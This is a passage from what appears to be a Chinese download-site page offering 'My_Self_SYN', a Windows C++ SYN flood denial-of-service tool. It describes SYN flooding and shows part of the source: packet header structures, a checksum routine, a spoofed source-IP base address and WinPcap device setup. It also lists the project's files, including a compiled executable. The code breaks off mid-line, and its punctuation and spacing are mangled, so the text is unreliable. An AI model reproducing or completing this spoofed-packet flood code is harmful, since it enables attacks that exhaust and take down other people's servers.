資源簡介
SYN Flood是當前最盛行的DoS(拒盡服務進攻)與DDoS(散布式拒盡服務進攻)的方法之一,這是一種利用TCP協議缺點,發送大批偽造的TCP連接請求,從而使得被進攻方資源耗盡(CPU滿負荷或內存不足)的進攻方法。

代碼片段和文件信息
//?My_Self_SYN.cpp?:?Defines?the?entry?point?for?the?console?application.
//
#include?“stdafx.h“
#include?“pcap.h“
#include?“packet.h“
#include?“iostream.h“
#include?“time.h“
#pragma?comment(lib“wpcap.lib“)?
#pragma?comment(lib“WS2_32.lib“)?
#define?FAKE_IP?“172.18.47.108“?//偽裝IP的起始值
#define?SEQ?0x28376839
struct?EthernetHeader
{
????u_char?DestMAC[6];
????u_char?SourMAC[6];
????u_short?EthType;
};
struct?IpHeader
{
????unsigned?char?Version_HLen;
????unsigned?char?TOS;
????short?Length;
????short?Ident;
????short?Flags_Offset;
????unsigned?char?TTL;
????unsigned?char?Protocol;
????short?Checksum;
????unsigned?int?SourceAddr;
????unsigned?int?DestinationAddr;
};
struct?PsdTcpHeader
{
????unsigned?long?SourceAddr;
????unsigned?long?DestinationAddr;
????char?Zero;
????char?Protcol;
????unsigned?short?TcpLen;
};
struct?TcpHeader
{
????unsigned?short?SrcPort;
????unsigned?short?DstPort;
????unsigned?int?SequenceNum;
????unsigned?int?Acknowledgment;
????unsigned?char?HdrLen;
????unsigned?char?Flags;
????unsigned?short?AdvertisedWindow;
????unsigned?short?Checksum;
????unsigned?short?UrgPtr;
};
unsigned?short?checksum(unsigned?short?*data?int?length)
{
????unsigned?long?temp?=?0;
????while?(length?>?1)
????{
????????temp?+=??*data++;
????????length?-=?sizeof(unsigned?short);
????}
????if?(length)
????{
????????temp?+=?*(unsigned?short*)data;
????}
????temp?=?(temp?>>?16)?+?(temp?&0xffff);
????temp?+=?(temp?>>?16);
????return?(unsigned?short)(~temp);
}
int??main()
{
struct?EthernetHeader?ethernet;
????struct?IpHeader?ip;
????struct?TcpHeader?tcp;
????struct?PsdTcpHeader?ptcp;
????int?Result;
????unsigned?char?SendBuffer[200];
????char?TcpData[]?=?“Tcp?Data?Test.“;
????pcap_if_t?*NetwokDevice;
????pcap_t?*WinpcapHandle;
????pcap_if_t?*Device;
????char?WinpcapError[PCAP_ERRBUF_SIZE];
????int?DeviceIndex?=?0;
????char?DeviceName[100][1000];
????int?i;
????Result?=?pcap_findalldevs(&NetwokDevice?WinpcapError);
????if?(Result?==??-?1)
????{
????????printf(“pcap_findalldevs?Error“);
????????return?0;
????}?for?(Device?=?NetwokDevice?i?=?0;?Device?&&?i?10;?Device?=?Device->next?i++)
????{
????????printf(“Number?%d:“?i);
????????printf(“%s:“?Device->name);
????????printf(“%s\n“?Device->description);
????????sprintf(DeviceName[i]?“%s“?Device->name);
????}
????for?(;;)
????{
????????printf(“Please?Choose?the?Device?Number:(0-%d)“?i?-?1);
????????scanf(“%d“?&DeviceIndex);
????????if?(DeviceIndex?>?i?-?1?||?DeviceIndex?0)
????????{
????????????printf(“Device?Number?Error\n“);
????????????continue;
????????}
????????else
????????????break;
????}
????WinpcapHandle?=?pcap_open_live(LPCTSTR(DeviceName[DeviceIndex])?65535?1?1000?WinpcapError);
????if?(WinpcapHandle?==?NULL)
????{
????????printf(“pcap_open_live?error“);
????????pcap_freealldevs(NetwokDevice);
????????return?0;
????}
????int?SendSEQ=0;
int?FakeIpNet=inet_
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件?????184387??2010-12-07?12:46??My_Self_SYN\Debug\My_Self_SYN.exe
?????文件?????201248??2010-12-07?12:46??My_Self_SYN\Debug\My_Self_SYN.ilk
?????文件??????33757??2010-12-07?12:46??My_Self_SYN\Debug\My_Self_SYN.obj
?????文件?????203764??2010-12-03?14:30??My_Self_SYN\Debug\My_Self_SYN.pch
?????文件?????459776??2010-12-07?12:46??My_Self_SYN\Debug\My_Self_SYN.pdb
?????文件???????1973??2010-12-03?14:30??My_Self_SYN\Debug\StdAfx.obj
?????文件?????107520??2010-12-07?12:46??My_Self_SYN\Debug\vc60.idb
?????文件?????143360??2010-12-07?12:46??My_Self_SYN\Debug\vc60.pdb
?????文件???????7902??2010-12-07?12:46??My_Self_SYN\My_Self_SYN.cpp
?????文件???????4628??2010-12-03?13:00??My_Self_SYN\My_Self_SYN.dsp
?????文件????????547??2010-12-02?22:47??My_Self_SYN\My_Self_SYN.dsw
?????文件??????50176??2010-12-07?12:46??My_Self_SYN\My_Self_SYN.ncb
?????文件??????48640??2010-12-07?12:46??My_Self_SYN\My_Self_SYN.opt
?????文件????????944??2010-12-07?12:46??My_Self_SYN\My_Self_SYN.plg
?????文件???????1238??2010-12-02?22:20??My_Self_SYN\ReadMe.txt
?????文件????????298??2010-12-02?22:20??My_Self_SYN\StdAfx.cpp
?????文件????????769??2010-12-02?22:20??My_Self_SYN\StdAfx.h
?????目錄??????????0??2010-12-07?12:46??My_Self_SYN\Debug
?????目錄??????????0??2010-12-07?12:46??My_Self_SYN
-----------?---------??----------?-----??----
??????????????1450927????????????????????19
- 上一篇:office 2016所有版本所有語言
- 下一篇:opengl 小球的碰撞和反彈模擬
評論
共有 條評論